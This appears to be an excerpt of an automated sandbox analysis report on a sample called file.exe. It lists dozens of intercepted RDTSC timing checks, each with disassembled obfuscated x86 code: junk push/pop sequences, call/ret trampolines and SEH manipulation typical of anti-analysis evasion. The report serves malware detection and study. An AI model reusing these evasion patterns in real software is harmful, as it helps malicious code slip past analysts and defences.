Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEE610 second address: AEE615 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF7B8 second address: AEF7C2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8B8538D976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0768 second address: AF076C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1599 second address: AF1628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8B8538D978h 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F8B8538D97Ch 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F8B8538D978h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c jmp 00007F8B8538D97Ch 0x00000031 mov edi, 20A2F612h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F8B8538D978h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 jnp 00007F8B8538D97Ch 0x00000058 add dword ptr [ebp+12456A34h], edi 0x0000005e push 00000000h 0x00000060 mov dword ptr [ebp+122D26CFh], esi 0x00000066 push eax 0x00000067 pushad 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF7C2 second address: AEF846 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8B853A64F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F8B853A64F8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e je 00007F8B853A64FAh 0x00000034 mov bx, BC9Ch 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov edi, dword ptr [ebp+122D2B6Ch] 0x00000045 mov eax, dword ptr [ebp+122D16FDh] 0x0000004b push 00000000h 0x0000004d push ebx 0x0000004e call 00007F8B853A64F8h 0x00000053 pop ebx 0x00000054 mov dword ptr [esp+04h], ebx 0x00000058 add dword ptr [esp+04h], 0000001Dh 0x00000060 inc ebx 0x00000061 push ebx 0x00000062 ret 0x00000063 pop ebx 0x00000064 ret 0x00000065 push FFFFFFFFh 0x00000067 mov bl, 99h 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c push ebx 0x0000006d push ebx 0x0000006e pop ebx 0x0000006f pop ebx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1628 second address: AF1632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1632 second address: AF1638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2571 second address: AF2578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2578 second address: AF257E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF257E second address: AF2582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF34EA second address: AF34EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF34EF second address: AF34F4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF34F4 second address: AF3505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F8B853A64F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3505 second address: AF3542 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D97Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d mov edi, dword ptr [ebp+122D22E9h] 0x00000013 push 00000000h 0x00000015 mov edi, dword ptr [ebp+122D25B1h] 0x0000001b push eax 0x0000001c pushad 0x0000001d jmp 00007F8B8538D982h 0x00000022 jl 00007F8B8538D97Ch 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5717 second address: AF571F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF571F second address: AF576F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F8B8538D978h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push ebx 0x00000026 mov ebx, dword ptr [ebp+122D2BD4h] 0x0000002c pop edi 0x0000002d mov edi, dword ptr [ebp+122D19E5h] 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+122D26CFh], ebx 0x0000003b push 00000000h 0x0000003d xor dword ptr [ebp+122D2E76h], edx 0x00000043 xchg eax, esi 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF576F second address: AF5773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5773 second address: AF5777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5777 second address: AF577D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF577D second address: AF5784 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5784 second address: AF5796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F8B853A64F8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5796 second address: AF57A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8B8538D976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF57A0 second address: AF57A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6792 second address: AF67CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b je 00007F8B8538D978h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8B8538D982h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF67CD second address: AF6826 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F8B853A64F8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F8B853A64F8h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 00000015h 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e push 00000000h 0x00000040 mov edi, 10ACE6B5h 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push esi 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6826 second address: AF682B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF877A second address: AF8784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8B853A64F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF58B2 second address: AF58C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B8538D97Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF69E6 second address: AF69EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCA63 second address: AFCA7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D980h 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF89EC second address: AF89F6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8B853A64F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7921 second address: AF7946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D982h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jnc 00007F8B8538D978h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7946 second address: AF794A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF89F6 second address: AF8A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D97Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8B8538D989h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F8B8538D978h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D25E4h], edx 0x00000030 push dword ptr fs:[00000000h] 0x00000037 push edi 0x00000038 mov bx, di 0x0000003b pop ebx 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 mov edi, esi 0x00000045 mov ebx, dword ptr [ebp+122D2D8Ch] 0x0000004b mov eax, dword ptr [ebp+122D1571h] 0x00000051 push 00000000h 0x00000053 push ebx 0x00000054 call 00007F8B8538D978h 0x00000059 pop ebx 0x0000005a mov dword ptr [esp+04h], ebx 0x0000005e add dword ptr [esp+04h], 00000019h 0x00000066 inc ebx 0x00000067 push ebx 0x00000068 ret 0x00000069 pop ebx 0x0000006a ret 0x0000006b push FFFFFFFFh 0x0000006d sub bh, FFFFFFC2h 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8A91 second address: AF8A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF79FC second address: AF7A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8A95 second address: AF8AAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A6503h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF36A8 second address: AF3731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D983h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b mov bl, 47h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F8B8538D978h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 or edi, dword ptr [ebp+122D271Ah] 0x0000003b mov eax, dword ptr [ebp+122D0A5Dh] 0x00000041 xor edi, dword ptr [ebp+122D2B24h] 0x00000047 push FFFFFFFFh 0x00000049 push 00000000h 0x0000004b push ecx 0x0000004c call 00007F8B8538D978h 0x00000051 pop ecx 0x00000052 mov dword ptr [esp+04h], ecx 0x00000056 add dword ptr [esp+04h], 00000019h 0x0000005e inc ecx 0x0000005f push ecx 0x00000060 ret 0x00000061 pop ecx 0x00000062 ret 0x00000063 mov bx, B2DCh 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b pushad 0x0000006c popad 0x0000006d pushad 0x0000006e popad 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3731 second address: AF3736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9997 second address: AF999C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9A64 second address: AF9A74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAA81 second address: AFAAA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F8B8538D98Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAAA6 second address: AFAAAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAAAC second address: AFAAB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAAB0 second address: AFAB47 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov bx, F954h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 call 00007F8B853A6509h 0x00000019 jns 00007F8B853A64FBh 0x0000001f pop ebx 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007F8B853A64F8h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 0000001Ah 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 or dword ptr [ebp+122D1ACAh], eax 0x00000047 mov eax, dword ptr [ebp+122D0045h] 0x0000004d stc 0x0000004e push FFFFFFFFh 0x00000050 jc 00007F8B853A6511h 0x00000056 nop 0x00000057 pushad 0x00000058 push edi 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFAB47 second address: AFAB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnp 00007F8B8538D97Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8B8538D980h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B052CB second address: B052CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B052CF second address: B052DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8B8538D976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B052DE second address: B05314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8B853A64F6h 0x0000000a jmp 00007F8B853A6509h 0x0000000f jmp 00007F8B853A64FCh 0x00000014 popad 0x00000015 popad 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05314 second address: B0532C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B8538D984h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0532C second address: B05330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05330 second address: B05358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B8538D984h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8B8538D97Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B05358 second address: B0535C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0AA1F second address: B0AA23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0AA23 second address: B0AA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8B853A64FEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0AA3D second address: B0AA43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F896 second address: B0F89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F89A second address: B0F89E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F89E second address: B0F8B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8B853A64FBh 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F8B853A64F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F8B7 second address: B0F8D6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8B8538D976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8B8538D97Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F8D6 second address: B0F8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F8DA second address: B0F8F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8B8538D984h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0ED93 second address: B0EDAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F8B853A6502h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F0EE second address: B0F101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F8B8538D976h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F24B second address: B0F257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8B853A64F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F257 second address: B0F261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F3D7 second address: B0F3DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F6F3 second address: B0F6F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F6F9 second address: B0F71A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B853A6502h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F8B853A64F6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10F0F second address: B10F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10F15 second address: B10F19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16641 second address: B16649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16649 second address: B1665F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8B853A6501h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B150AA second address: B150B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B151EB second address: B151F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B853A64FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15482 second address: B154AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8B8538D97Fh 0x0000000b jmp 00007F8B8538D983h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B154AC second address: B154B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B154B2 second address: B154BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B154BA second address: B154CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 jne 00007F8B853A652Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F8B853A64F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B154CE second address: B154F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B8538D97Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F8B8538D983h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
